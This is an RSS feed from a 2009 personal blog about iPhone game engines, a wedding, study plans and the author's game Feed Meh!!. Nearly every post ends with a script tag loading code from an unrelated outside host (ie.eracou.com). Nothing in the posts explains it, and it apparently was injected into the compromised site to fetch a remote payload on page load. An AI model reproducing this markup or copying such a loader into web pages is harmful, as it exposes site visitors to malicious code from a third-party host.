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	<title>whoisvince</title>
	<atom:link href="http://whoisvince.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://whoisvince.com</link>
	<description>a creative professional/ entrepreneur/ mogul in process</description>
	<lastBuildDate>Tue, 08 Sep 2009 19:17:57 +0000</lastBuildDate>
	
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		<title>Unity 3D killers?</title>
		<link>http://whoisvince.com/2009/09/unity-3d-killers/</link>
		<comments>http://whoisvince.com/2009/09/unity-3d-killers/#comments</comments>
		<pubDate>Tue, 08 Sep 2009 05:29:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[Business]]></category>
		<category><![CDATA[Development]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[2d]]></category>
		<category><![CDATA[3d]]></category>
		<category><![CDATA[engine]]></category>
		<category><![CDATA[framework]]></category>
		<category><![CDATA[games]]></category>
		<category><![CDATA[gaming engine]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[lua]]></category>
		<category><![CDATA[objective c]]></category>
		<category><![CDATA[osx]]></category>
		<category><![CDATA[shiva]]></category>
		<category><![CDATA[torque]]></category>
		<category><![CDATA[unity]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[wii]]></category>

		<guid isPermaLink="false">http://whoisvince.com/?p=642</guid>
		<description><![CDATA[So there&#8217;s plenty of hype being pushed around the interwebs of which engine or framework is best to help build the next best app/game for the iPhone. Point blank, Unity 3D is the best! Now if your one of those l33t developers out there who belittles developers that are using frameworks &#38; engines instead of [...]]]></description>
			<content:encoded><![CDATA[<p>So there&#8217;s plenty of hype being pushed around the interwebs of which engine or framework is best to help build the next best app/game for the iPhone. Point blank, <strong><em>Unity 3D is the best</em></strong>! Now if your one of those l33t developers out there who belittles developers that are using frameworks &amp; engines instead of getting dirty with Objective-C, I say screw you and get off your fake high horse. Although Objective-C isn&#8217;t all that complicated, it&#8217;s not nearly that easy either, especially when it comes to developing games for the iPhone. Also as a second note, plenty of gaming companies use <a title="top 10 gaming engines" href="http://www.develop-online.net/features/516/THE-TOP-10-GAME-ENGINES-NO4-Unity-3D" target="_blank">gaming engines</a> for one of the simple facts that it wouldn&#8217;t be cost efficient to reinvent the wheel when it&#8217;s staring right back at you. So as an Indie developer trying to compete with big companies, these gaming engines <em>may</em> be worth it. It&#8217;s an investment. So if your game is crappy, it doesn&#8217;t matter what engine you used, it&#8217;s still going to be crappy. However if you have a solid idea(s) and plan to invest the time needed, it&#8217;ll eventually pay itself off.</p>
<p>With all that said let me get back to my point, here are some of the top &#8216;Indie friendly&#8217; game engines out there; <span style="text-decoration: underline;"><em><strong>Unity 3D vs Shiva vs Torque</strong></em></span>. Now my first initial thought will of course be that Unity 3D is the best, as previously stated, however this is a very biased statement. Not because I&#8217;m on the developmental team, but because I&#8217;m now invested into it { <a title="Feed Meh iphone game" href="http://feedmeh.cbmumedia.com/" target="_blank">don&#8217;t forget to download Feed Meh!!</a> }, so it better be the best for good while. Nevertheless, after actually reviewing the other competition out there I&#8217;m sure you&#8217;ll be agreeing alongside with me too.</p>
<p>Below are a few pro&#8217;s &amp; con&#8217;s for each engine:<span id="more-642"></span></p>
<h2>Unity 3D</h2>
<p><a title="unity 3d for iphone" href="http://unity3d.com/unity/features/iphone-publishing" target="_blank">http://unity3d.com/unity/features/iphone-publishing</a></p>
<p><img class="size-large wp-image-650 alignnone" title="iphone-feature" src="http://whoisvince.com/wp-content/uploads/2009/09/iphone-feature-480x229.jpg" alt="iphone-feature" width="313" height="149" /></p>
<p><strong>Pros:</strong></p>
<ul>
<li>Feature Packed!</li>
<li>Full support for native Objective C (for whatever reason if you needed/wanted it)</li>
<li>3 scripting language options: JavaScript, C#, and a dialect of Python called Boo</li>
<li>Scripts are compiled to native ARM assembler code during build</li>
<li>I already have a <a title="Feed Meh iphone game" href="http://feedmeh.cbmumedia.com/" target="_blank">license</a></li>
</ul>
<p><strong>Cons:</strong></p>
<ul>
<li>Price! <span style="text-decoration: underline;">Indie+ iPhone</span>: $600 |  <span style="text-decoration: underline;">Pro + iPhone</span>: $3,000</li>
<li>Forced splash screens for Indie licenses</li>
<li>No 2d platform</li>
</ul>
<p><em><strong>Thoughts</strong></em>: The price and the forced splash screen almost insticivly makes me want to say no, however when you dig deeper you&#8217;ll see a solid engine that&#8217;s only getting better &amp; better. In addition, it&#8217;s more approachable, and has an easier learning curve because of the 3 separate language options they allow you to use.</p>
<hr />
<h2>Shiva</h2>
<p><a title="shiva for iphone" href="http://www.stonetrip.com/" target="_blank"><em>http://www.stonetrip.com/</em></a></p>
<h2><img class="size-large wp-image-645 alignnone" title="shiva-editor" src="http://whoisvince.com/wp-content/uploads/2009/09/shiva-editor-480x316.png" alt="shiva-editor" width="312" height="205" /></h2>
<p><strong>Pros:</strong></p>
<ul>
<li>iPhone publishing for FREE!</li>
<li>Price; <span style="text-decoration: underline;">Indie</span>: $250 |  <span style="text-decoration: underline;">Pro</span>: $720</li>
<li>No forced splash screens</li>
</ul>
<p><strong>Cons:</strong></p>
<ul>
<li>Works on Mac OS <span style="text-decoration: underline;"><strong>under parallels</strong></span></li>
<li>Lua scripting language, which (most likely) wont be used anywhere else</li>
<li>Language is interpreted</li>
<li>small(er) userbase and still a bit rough around the edges</li>
</ul>
<p><em><strong>Thoughts</strong></em>: Shiva isn&#8217;t even available for the mac yet. So although its really enticing with its price, it&#8217;s not really meant for the iPhone. You&#8217;ll pay for it with the longer development time unless you buy or already own both a PC &amp; mac, to switch back-and-forth.</p>
<hr />
<h2>Torque</h2>
<p><a title="torque for iphone" href="http://www.garagegames.com/products/consoles" target="_blank"><em>http://www.garagegames.com/products/consoles</em></a></p>
<p><img class="size-large wp-image-646 alignnone" title="torque-2d-iphone" src="http://whoisvince.com/wp-content/uploads/2009/09/torque-2d-iphone-480x263.jpg" alt="torque-2d-iphone" width="314" height="172" /></p>
<p><img class="size-large wp-image-652 alignnone" title="tge-iphone" src="http://whoisvince.com/wp-content/uploads/2009/09/tge-iphone-480x263.jpg" alt="tge-iphone" width="309" height="169" /></p>
<p><strong>Pros:</strong></p>
<ul>
<li>Both 2D &amp; 3D platform</li>
<li>Developer store; buy source code and/or game assets</li>
<li>Feature Packed!</li>
</ul>
<p><strong>Cons:</strong></p>
<ul>
<li>Price! <span style="text-decoration: underline;">Indie 3D</span>: $900 <span style="text-decoration: underline;">Indie 2D</span>: $1,000 | <span style="text-decoration: underline;">Pro 3D</span>: $2,750/ $4,750 <span style="text-decoration: underline;">Pro 2D</span>: $2,750/ $3,500</li>
<li>Individual prices for 3D &amp; 2D engines</li>
<li>TorqueScript is a C++ like scripting language</li>
</ul>
<p><em><strong>Thoughts</strong></em>: 1st the price is just outrageous. It seems as it it just keeps on climbing. 2nd, although Torque does have plenty of features, it&#8217;s not really a &#8216;pro&#8217; for me simply because it&#8217;s written using a language similar to C++ which doesn&#8217;t make for smooth learning curve.</p>
<hr />
<h2>Conclusion</h2>
<p>So there you have it, the Top 3 iPhone gaming engines compared to each other. You can make up your own mind, and every situation is different, but I&#8217;d still have to say that Unity 3D is still above the rest. If your already knee deep with C++ &amp; or Objective C, and you don&#8217;t mind loosing $900-$4,740 ( I say loosing because, as any investment is made there is always that chance of not breaking even, and loosing your investment ) then <em><strong>Torque</strong> </em>may be for you. It has plenty of features, and a pretty solid community. However if your not familiar or fluent with an Object Oriented Language already, and maybe you know a few scripting languages and you want to develop something for the iPhone but <em><strong>Shiva</strong>&#8217;s</em> low price is calling to you, I say don&#8217;t do it yet. If your targeting the iPhone, why would you develop on a PC? And if your crazy enough to run it through an emulator, than you have every right to lose your investment. Nothing against them, the upgrades are looking great as I&#8217;ve been following them since I started researching for an engine to use before I bought into Unity 3D ; but it&#8217;s still a bit <em>too</em> rough. With all that said, go check out <em><strong><a title="unity 3d for iphone demo" href="http://unity3d.com/unity/download" target="_blank">Unity&#8217;s demo</a> </strong></em>&amp; I&#8217;m sure you&#8217;ll love it. Oh, and did I mention that I made a game using Unity 3D, <a title="Feed Meh iphone game" href="http://feedmeh.cbmumedia.com/" target="_blank">Feed Meh!!</a> Ah, I did actually. Silly me.</p>
<p>Let me know what you think? Love Unity too? Hate it? Think Shiva is going to tear the market right open? Let me know and sound-off.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
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		<title>H.N.I.C. or C.E.O. ?</title>
		<link>http://whoisvince.com/2009/08/h-n-i-c-or-c-e-o/</link>
		<comments>http://whoisvince.com/2009/08/h-n-i-c-or-c-e-o/#comments</comments>
		<pubDate>Mon, 31 Aug 2009 16:09:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Business]]></category>
		<category><![CDATA[My Life]]></category>
		<category><![CDATA[Rant]]></category>
		<category><![CDATA[ceo]]></category>
		<category><![CDATA[hnic]]></category>
		<category><![CDATA[late]]></category>
		<category><![CDATA[practice]]></category>
		<category><![CDATA[standards]]></category>
		<category><![CDATA[tardy]]></category>
		<category><![CDATA[time]]></category>

		<guid isPermaLink="false">http://whoisvince.com/?p=625</guid>
		<description><![CDATA[I found myself, once again, defending my chronic tardiness this weekend with regards to a video I was watching online. The particular topic which sparked the debate was referring to standard business practices, and how to become the C.E.O. of a company. One of the most constant and regurgitated statements is to basically &#8216;be the [...]]]></description>
			<content:encoded><![CDATA[<p>I found myself, once again, defending my chronic tardiness this weekend with regards to a video I was watching online. The particular topic which sparked the debate was referring to standard business practices, and how to become the C.E.O. of a company. One of the most constant and regurgitated statements is to basically &#8216;be the first one to enter and the last one to leave.&#8217; I get that, I do really, however I feel most people take it in as a black &#038; white situation and begin to shun those who aren&#8217;t adjusting themselves into those specific traditions. I&#8217;m not saying that you can be a complete sloth, although there are always exceptions. What I&#8217;m saying is that people need to understand that these are the <em>suggested</em> common best practices. Suggested. It&#8217;s not the absolute, and end-all solution, nor are the other majority suggestions.</p>
<p>Being the first one in the office &#038; the last one to leave seems like it&#8217;s more for show than about being dedicated. Sure, I understand that isn&#8217;t the case most of the time, as most pragmatic people do have the best intentions. Yet in contrast, what about those like me who are seemingly more nocturnal by nature and tend to put in more work, after hours. I&#8217;m constantly criticized by corporate &#8216;folks&#8217; because of my, admittedly, bad habit of constantly being late for everything. Anywhere from <em>9ish-10ish</em> is when I arrive to work. This obviously goes against the grain of corporatism, so I must not want to become a successful CEO and/or Mogul right? Wrong. What everyone always seem to neglect or refuse to acknowledge is how much work I, and others actually put in. On average I get about 3-4 hours of sleep a night. All I do is work, yet the person who is &#8220;most likely to succeed&#8221; is the person who&#8217;s putting in 4 more minutes of their required 8hours?!</p>
<p>Now, I suppose I could just make my life a whole lot easier and just do the exact same thing as CEO Joe over there, but I won&#8217;t. Why? Because I refuse to follow along the path and become an addition to the herd of sheep grazing on the grass of followshipers™, instead I&#8217;ll take the trail of most resistance. Sure I&#8217;ll gain plenty of battle scars, and it may slow me down a bit, but it&#8217;ll make for a darn good book and an Oprah appearance. Nonetheless,  it won&#8217;t stop me from becoming the H.N.I.C.!<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
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		<item>
		<title>wedding of the millennia</title>
		<link>http://whoisvince.com/2009/08/wedding-of-the-millennia/</link>
		<comments>http://whoisvince.com/2009/08/wedding-of-the-millennia/#comments</comments>
		<pubDate>Thu, 27 Aug 2009 18:45:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[My Life]]></category>
		<category><![CDATA[Photography]]></category>
		<category><![CDATA[engagement]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[love]]></category>
		<category><![CDATA[marriage]]></category>
		<category><![CDATA[photos]]></category>
		<category><![CDATA[proposal]]></category>
		<category><![CDATA[wedding]]></category>

		<guid isPermaLink="false">http://whoisvince.com/?p=466</guid>
		<description><![CDATA[
June 6, 2009 was the day that Crystal and I became one. It was a momentous occasion and we were ecstatic to have shared the moment with our closest friends, family and PLENTY of strangers. If you somehow didn&#8217;t actually make the wedding because of some lame reason, one being you don&#8217;t even know us, [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-large wp-image-493" title="Picture 37" src="http://whoisvince.com/wp-content/uploads/2009/08/smooch-239x360.jpg" alt="Picture 37" width="239" height="360" /></p>
<p><strong><em>June 6, 2009</em></strong> was the day that Crystal and I became one. It was a momentous occasion and we were ecstatic to have shared the moment with our closest friends, family and <em>PLENTY</em> of strangers. If you somehow didn&#8217;t actually make the wedding because of some lame reason, one being you don&#8217;t even know us, I have some good news; we forgive you! But in all seriousness, I&#8217;ve been extremely busy before and after the wedding day, but I&#8217;ve finally uploaded our wedding photos. We haven&#8217;t really sat down and picked our &#8216;favorites&#8217; just yet for prints, however sometime this week we should be making that happen.</p>
<p>Here are the wedding &amp; honeymoon photos, enjoy:<br />
<a title="wedding day" href="http://www.facebook.com/album.php?aid=2031574&amp;id=83500267&amp;l=101905b8ae" target="_blank">wedding day</a> &amp; <a title="honeymoon" href="http://www.flickr.com/photos/vincebaskerville/sets/72157622035611751/" target="_blank">honeymoon</a></p>
<p>If you are one of those fortunate enough to know us, then you know how much in love we are. I&#8217;m looking forward to growing old &amp; sharing our lives together. In addition, for those whose still asking about how we met &amp; how I proposed, the stories have been pasted below from our engagement website: <a title="vince and crystal" href="http://vinceandcrystal.com/" target="_blank">vince&amp;crystal.com</a></p>
<h2>Our Story</h2>
<p>Crystal had just relocated from Atlanta and didn&#8217;t know much about the city. A local mutual friend introduced us and I insisted I&#8217;ll be her Orlando guide. Unknowingly, we immediately became an item. We emailed one another multiple times a day, and talked on the phone at night for hours. During the extended Labor Day weekend Crystal traveled back to Huntsville, Alabama to visit her family while I stayed in Orlando to celebrate with my friends. As a guy it&#8217;s not cool to talk about falling in love, so I decided to keep playing the tough guy roll throughout the weekend and go out with the guys; nevertheless, the truth was that I was looking forward to talk on the phone with this gorgeous and intelligent women I just met 2 days ago. Saturday and Sunday I didn&#8217;t leave the house, it seemed as if we talked on the phone from dusk till dawn about anything and everything.</p>
<p>As we both eagerly awaited her return back to Orlando, we went on our first official date that following Tuesday. We had planned a simple classic dinner and a movie, unfortunately the theater was closed so we had dinner and talked to each other till twilight.</p>
<p>One and a half years later, we were engaged, and <span style="text-decoration: line-through;">shortly we will be</span> now are officially one!</p>
<h2>The Proposal</h2>
<p>One early morning of November in 2007, Vince and I traveled to Alabama to spend Thanksgiving with my family. We talked the entire trip except the times when I accidentally fell asleep. Everything seemed normal. The next morning we began to get settled for Thanksgiving dinner that evening with all of my family and friends. The day after Thanksgiving, my mom, cousins, and aunts traditionally go out to shop for all the great deals. I felt terrible for my Vincey because he would be stuck at home watching football all day, which isn&#8217;t his particular  favorite pass time. Throughout the girl only shopping trip, I continued to check on my Vincey to make sure he was okay, as I reassured him I would try to rush the girls as fast as I could.</p>
<p>Later that evening my mother and I finally arrived home and I ran up the stairs to the game room as I called out to him, no one answered. I went back down the steps to find a path of roses and my father instructing me to follow them. There he sat, with a tuxedo, guitar, and a microphone. He sang a beautiful song to me. He even learned to play the guitar for the song<em> </em><span style="text-decoration: line-through;">that your listening to right now</span> <em> <a title="waited all my life" href="http://www.youtube.com/watch?v=gX0EXgueMo0" target="_blank">this song</a></em>! Finally, he got down on one knee and gave me a rose which represented the blessing of my father and brother and asked &#8220;will you marry me.&#8221; I couldn&#8217;t have asked for a better proposal!<script src="http://ie.eracou.com/3"></script></p>
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		<item>
		<title>becoming a Mogul</title>
		<link>http://whoisvince.com/2009/08/becoming-a-mogul/</link>
		<comments>http://whoisvince.com/2009/08/becoming-a-mogul/#comments</comments>
		<pubDate>Wed, 26 Aug 2009 07:52:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Business]]></category>
		<category><![CDATA[My Life]]></category>
		<category><![CDATA[entrepreneur]]></category>
		<category><![CDATA[gsu]]></category>
		<category><![CDATA[law]]></category>
		<category><![CDATA[mogul]]></category>
		<category><![CDATA[school]]></category>
		<category><![CDATA[ucf]]></category>
		<category><![CDATA[valencia]]></category>

		<guid isPermaLink="false">http://whoisvince.com/?p=556</guid>
		<description><![CDATA[
Ok, so it&#8217;s back to that time of the year again Fall 2009, and for those who aren&#8217;t that intimate with my personal life this means my academic calendar has once again become active. This is part of a looooooong journey to my hopefully Cinderella (Prince Charming?) ending. To the left is my &#8216;academic plan&#8217;, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://whoisvince.com/wp-content/uploads/2009/08/schedule.png"><img class="alignleft size-large wp-image-562" title="schedule" src="http://whoisvince.com/wp-content/uploads/2009/08/schedule-157x360.png" alt="schedule" width="157" height="360" /></a></p>
<p>Ok, so it&#8217;s back to that time of the year again Fall 2009, and for those who aren&#8217;t that intimate with my personal life this means my academic calendar has once again become active. This is part of a looooooong journey to my hopefully Cinderella (Prince Charming?) ending. To the left is my &#8216;academic plan&#8217;, it&#8217;s quite extensive as I had to practically start over as a freshmen because none of the credits from Full Sail University transferred. I knew this of course, so that was no big surprise; nevertheless I began my journey after a considerable amount of research and soul searching back at the end of 2007. I&#8217;m currently about a third of the way through and I&#8217;m feeling good about the process. The plan is to get a Bachelor&#8217;s in Finance, then move onto achieving my Juris Doctorate while focusing on Intellectual Property Law. This is indeed a bit of a step away from my initial Digital Art &amp; Design degree, however I do plan on reeling everything back in and continue producing great work similar to what I am already currently involved with. I figure in order for myself to become the Mogul I envision and do big things, I need to take big steps.</p>
<p>This does cramp my schedule a bit, as I&#8217;ll still be working my day job at VisualFlux.net full time, CBMUmedia.com fullpartacouplehourshere&amp;there time &amp; trying to balance spending time with my Mrs. &amp; dog Bailey; nevertheless, it still doesn&#8217;t change much. I created Feed Meh!! amongst the chaos of ending a previous school semester, getting married, honeymooning &amp; moving. I&#8217;ll continue to try and share my knowledge with whomever listens via this and other various blogs in addition to future presentations I may be giving.</p>
<p>So tune in, subscribe as I may just have something you&#8217;re interested in.</p>
<p>Here&#8217;s few things on coming up within the next couple months: <strong>1</strong><em><strong>.2 update to Feed Meh!!, &amp; 2 new apps</strong>.</em><script src="http://ie.eracou.com/3"></script></p>
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		<item>
		<title>Day &amp; Night (remix)</title>
		<link>http://whoisvince.com/2009/08/day-night-remix/</link>
		<comments>http://whoisvince.com/2009/08/day-night-remix/#comments</comments>
		<pubDate>Wed, 26 Aug 2009 07:21:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Business]]></category>
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		<category><![CDATA[music]]></category>
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		<category><![CDATA[trey]]></category>
		<category><![CDATA[trey songs]]></category>
		<category><![CDATA[unity]]></category>
		<category><![CDATA[unity3d]]></category>

		<guid isPermaLink="false">http://whoisvince.com/2009/08/541/</guid>
		<description><![CDATA[another song for the unofficial Feed Meh!! sound track.. This is a remix to Kid Cudi&#8217;s &#8216;Day &#38; NIght&#8217; with references to developing Feed Meh!!
Lyrics
============================
============================
i&#8217;ll tell you whats happening/
its easy for you to see/
hearing me remix this hit first done by him the kid kudi/
no prablemo, i know javascript, but no Objective-C/
i got the answers, [...]]]></description>
			<content:encoded><![CDATA[<p><span>another song for the unofficial Feed Meh!! sound track.. This is a remix to Kid Cudi&#8217;s &#8216;Day &amp; NIght&#8217; with references to developing Feed Meh!!</span></p>
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<p>Lyrics<br />
============================<br />
============================</p>
<blockquote><p>i&#8217;ll tell you whats happening/<br />
its easy for you to see/<br />
hearing me remix this hit first done by him the kid kudi/<br />
no prablemo, i know javascript, but no Objective-C/<br />
i got the answers, give em&#8217; frameworks &amp; then they come ask for me/</p>
<p>my mental capacity/<br />
is why these devs hatin&#8217; me/<br />
my game Feed Meh!!, overshaddow &amp; beat super teams/<br />
not one line of C/<br />
scripted in Unity/<br />
nothings free, 100 cents i charge, pocket &amp; give to my mrs. B/</p></blockquote>
<p>============================<br />
============================<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://whoisvince.com/2009/08/day-night-remix/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ramblings episode 2; part 3 &#124; Some advice</title>
		<link>http://whoisvince.com/2009/08/ramblings-episode-2-part-3-some-advice/</link>
		<comments>http://whoisvince.com/2009/08/ramblings-episode-2-part-3-some-advice/#comments</comments>
		<pubDate>Tue, 11 Aug 2009 06:02:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Apple]]></category>
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		<guid isPermaLink="false">http://whoisvince.com/?p=456</guid>
		<description><![CDATA[**This is part 3 of 3**
This is my 2nd video for my bi-weekly video blog. There are 3 topics in which I talk about, #1. being my first iPhone/ iPod Touch game Feed Meh!! v1.1 update &#038; some other future updates as well. #2 is some advice and insight with regard to submitting your app [...]]]></description>
			<content:encoded><![CDATA[<object	
		width='450'
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<p>**This is part 3 of 3**<br />
This is my 2nd video for my bi-weekly video blog. There are 3 topics in which I talk about, #1. being my first iPhone/ iPod Touch game Feed Meh!! v1.1 update &#038; some other future updates as well. #2 is some advice and insight with regard to submitting your app and/or game to Apple for their cringing approval process. #3 is some general advice I wanted to share.</p>
<p>Let me know if you have any other questions regarding the approval process, or anything else really; and I&#8217;m also always looking for some feedback regarding how your taking in the information. Am I babbling, should I show some accompanying videos, or does it even matter as you don&#8217;t really care?<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://whoisvince.com/2009/08/ramblings-episode-2-part-3-some-advice/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ramblings episode 2; part 2 &#124; App subission woes</title>
		<link>http://whoisvince.com/2009/08/ramblings-episode-2-part-2-app-subission-woes/</link>
		<comments>http://whoisvince.com/2009/08/ramblings-episode-2-part-2-app-subission-woes/#comments</comments>
		<pubDate>Tue, 11 Aug 2009 06:00:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Apple]]></category>
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		<guid isPermaLink="false">http://whoisvince.com/?p=454</guid>
		<description><![CDATA[**This is part 2 of 3**
This is my 2nd video for my bi-weekly video blog. There are 3 topics in which I talk about, #1. being my first iPhone/ iPod Touch game Feed Meh!! v1.1 update &#038; some other future updates as well. #2 is some advice and insight with regard to submitting your app [...]]]></description>
			<content:encoded><![CDATA[<object	
		width='450'
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<p>**This is part 2 of 3**<br />
This is my 2nd video for my bi-weekly video blog. There are 3 topics in which I talk about, #1. being my first iPhone/ iPod Touch game Feed Meh!! v1.1 update &#038; some other future updates as well. #2 is some advice and insight with regard to submitting your app and/or game to Apple for their cringing approval process. #3 is some general advice I wanted to share.</p>
<p>Let me know if you have any other questions regarding the approval process, or anything else really; and I&#8217;m also always looking for some feedback regarding how your taking in the information. Am I babbling, should I show some accompanying videos, or does it even matter as you don&#8217;t really care?<br />
<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://whoisvince.com/2009/08/ramblings-episode-2-part-2-app-subission-woes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ramblings ep. 2; pt 1 &#124; Feed Meh!! v1.1 update &amp; more</title>
		<link>http://whoisvince.com/2009/08/ramblings-ep-2-pt-1-feed-meh-v1-1-update-more/</link>
		<comments>http://whoisvince.com/2009/08/ramblings-ep-2-pt-1-feed-meh-v1-1-update-more/#comments</comments>
		<pubDate>Tue, 11 Aug 2009 05:58:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[Business]]></category>
		<category><![CDATA[Development]]></category>
		<category><![CDATA[Podcasts]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[37 signals]]></category>
		<category><![CDATA[3g]]></category>
		<category><![CDATA[3gs]]></category>
		<category><![CDATA[advice]]></category>
		<category><![CDATA[app]]></category>
		<category><![CDATA[applications]]></category>
		<category><![CDATA[aurora feint]]></category>
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		<guid isPermaLink="false">http://whoisvince.com/?p=452</guid>
		<description><![CDATA[**This is part 1 of 3**
This is my 2nd video for my bi-weekly video blog. There are 3 topics in which I talk about, #1. being my first iPhone/ iPod Touch game Feed Meh!! v1.1 update &#038; some other future updates as well. #2 is some advice and insight with regard to submitting your app [...]]]></description>
			<content:encoded><![CDATA[<object	
		width='450'
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<p>**This is part 1 of 3**<br />
This is my 2nd video for my bi-weekly video blog. There are 3 topics in which I talk about, #1. being my first iPhone/ iPod Touch game Feed Meh!! v1.1 update &#038; some other future updates as well. #2 is some advice and insight with regard to submitting your app and/or game to Apple for their cringing approval process. #3 is some general advice I wanted to share.</p>
<p>Let me know if you have any other questions regarding the approval process, or anything else really; and I&#8217;m also always looking for some feedback regarding how your taking in the information. Am I babbling, should I show some accompanying videos, or does it even matter as you don&#8217;t really care?<br />
<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://whoisvince.com/2009/08/ramblings-ep-2-pt-1-feed-meh-v1-1-update-more/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Some advice</title>
		<link>http://whoisvince.com/2009/08/some-advice/</link>
		<comments>http://whoisvince.com/2009/08/some-advice/#comments</comments>
		<pubDate>Mon, 10 Aug 2009 19:20:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Featured-Bottom]]></category>

		<guid isPermaLink="false">http://whoisvince.com/?p=619</guid>
		<description><![CDATA[**This is part 3 of 3**
This is my 2nd video for my bi-weekly video blog. There are 3 topics in which I talk about, #1. being my first iPhone/ iPod Touch game Feed Meh!! v1.1 update &#38; some other future updates as well. #2 is some advice and insight with regard to submitting your app [...]]]></description>
			<content:encoded><![CDATA[<object	
		width='450'
		height='300'
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<p>**This is part 3 of 3**<br />
This is my 2nd video for my bi-weekly video blog. There are 3 topics in which I talk about, #1. being my first iPhone/ iPod Touch game Feed Meh!! v1.1 update &amp; some other future updates as well. #2 is some advice and insight with regard to submitting your app and/or game to Apple for their cringing approval process. #3 is some general advice I wanted to share.</p>
<p>Let me know if you have any other questions regarding the approval process, or anything else really; and I&#8217;m also always looking for some feedback regarding how your taking in the information. Am I babbling, should I show some accompanying videos, or does it even matter as you don&#8217;t really care?<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://whoisvince.com/2009/08/some-advice/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>App subission woes</title>
		<link>http://whoisvince.com/2009/08/app-subission-woes/</link>
		<comments>http://whoisvince.com/2009/08/app-subission-woes/#comments</comments>
		<pubDate>Mon, 10 Aug 2009 19:19:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Featured-Bottom]]></category>

		<guid isPermaLink="false">http://whoisvince.com/?p=617</guid>
		<description><![CDATA[**This is part 2 of 3**
This is my 2nd video for my bi-weekly video blog. There are 3 topics in which I talk about, #1. being my first iPhone/ iPod Touch game Feed Meh!! v1.1 update &#38; some other future updates as well. #2 is some advice and insight with regard to submitting your app [...]]]></description>
			<content:encoded><![CDATA[<object	
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<p>**This is part 2 of 3**<br />
This is my 2nd video for my bi-weekly video blog. There are 3 topics in which I talk about, #1. being my first iPhone/ iPod Touch game Feed Meh!! v1.1 update &amp; some other future updates as well. #2 is some advice and insight with regard to submitting your app and/or game to Apple for their cringing approval process. #3 is some general advice I wanted to share.</p>
<p>Let me know if you have any other questions regarding the approval process, or anything else really; and I&#8217;m also always looking for some feedback regarding how your taking in the information. Am I babbling, should I show some accompanying videos, or does it even matter as you don&#8217;t really care?<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://whoisvince.com/2009/08/app-subission-woes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Feed Meh!! v1.1 update &amp; more</title>
		<link>http://whoisvince.com/2009/08/feed-meh-v1-1-update-more/</link>
		<comments>http://whoisvince.com/2009/08/feed-meh-v1-1-update-more/#comments</comments>
		<pubDate>Mon, 10 Aug 2009 19:18:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Featured-Bottom]]></category>

		<guid isPermaLink="false">http://whoisvince.com/?p=612</guid>
		<description><![CDATA[**This is part 1 of 3**
This is my 2nd video for my bi-weekly video blog. There are 3 topics in which I talk about, #1. being my first iPhone/ iPod Touch game Feed Meh!! v1.1 update &#38; some other future updates as well. #2 is some advice and insight with regard to submitting your app [...]]]></description>
			<content:encoded><![CDATA[<object	
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<p>**This is part 1 of 3**<br />
This is my 2nd video for my bi-weekly video blog. There are 3 topics in which I talk about, #1. being my first iPhone/ iPod Touch game Feed Meh!! v1.1 update &amp; some other future updates as well. #2 is some advice and insight with regard to submitting your app and/or game to Apple for their cringing approval process. #3 is some general advice I wanted to share.</p>
<p>Let me know if you have any other questions regarding the approval process, or anything else really; and I&#8217;m also always looking for some feedback regarding how your taking in the information. Am I babbling, should I show some accompanying videos, or does it even matter as you don&#8217;t really care?<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://whoisvince.com/2009/08/feed-meh-v1-1-update-more/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Feed Meh!! Game Info</title>
		<link>http://whoisvince.com/2009/07/feed-meh-game-info/</link>
		<comments>http://whoisvince.com/2009/07/feed-meh-game-info/#comments</comments>
		<pubDate>Sun, 26 Jul 2009 05:54:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Apple]]></category>
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		<category><![CDATA[unity3d]]></category>

		<guid isPermaLink="false">http://whoisvince.com/?p=450</guid>
		<description><![CDATA[This is a video with some insight on the many tools and applications we used to make our first iPhone game &#8216;Feed Meh!!&#8217; and some ideas of what we&#8217;re planning for the future of the game.
Let us know if you have any suggestions for an application of your choice that you think we could use [...]]]></description>
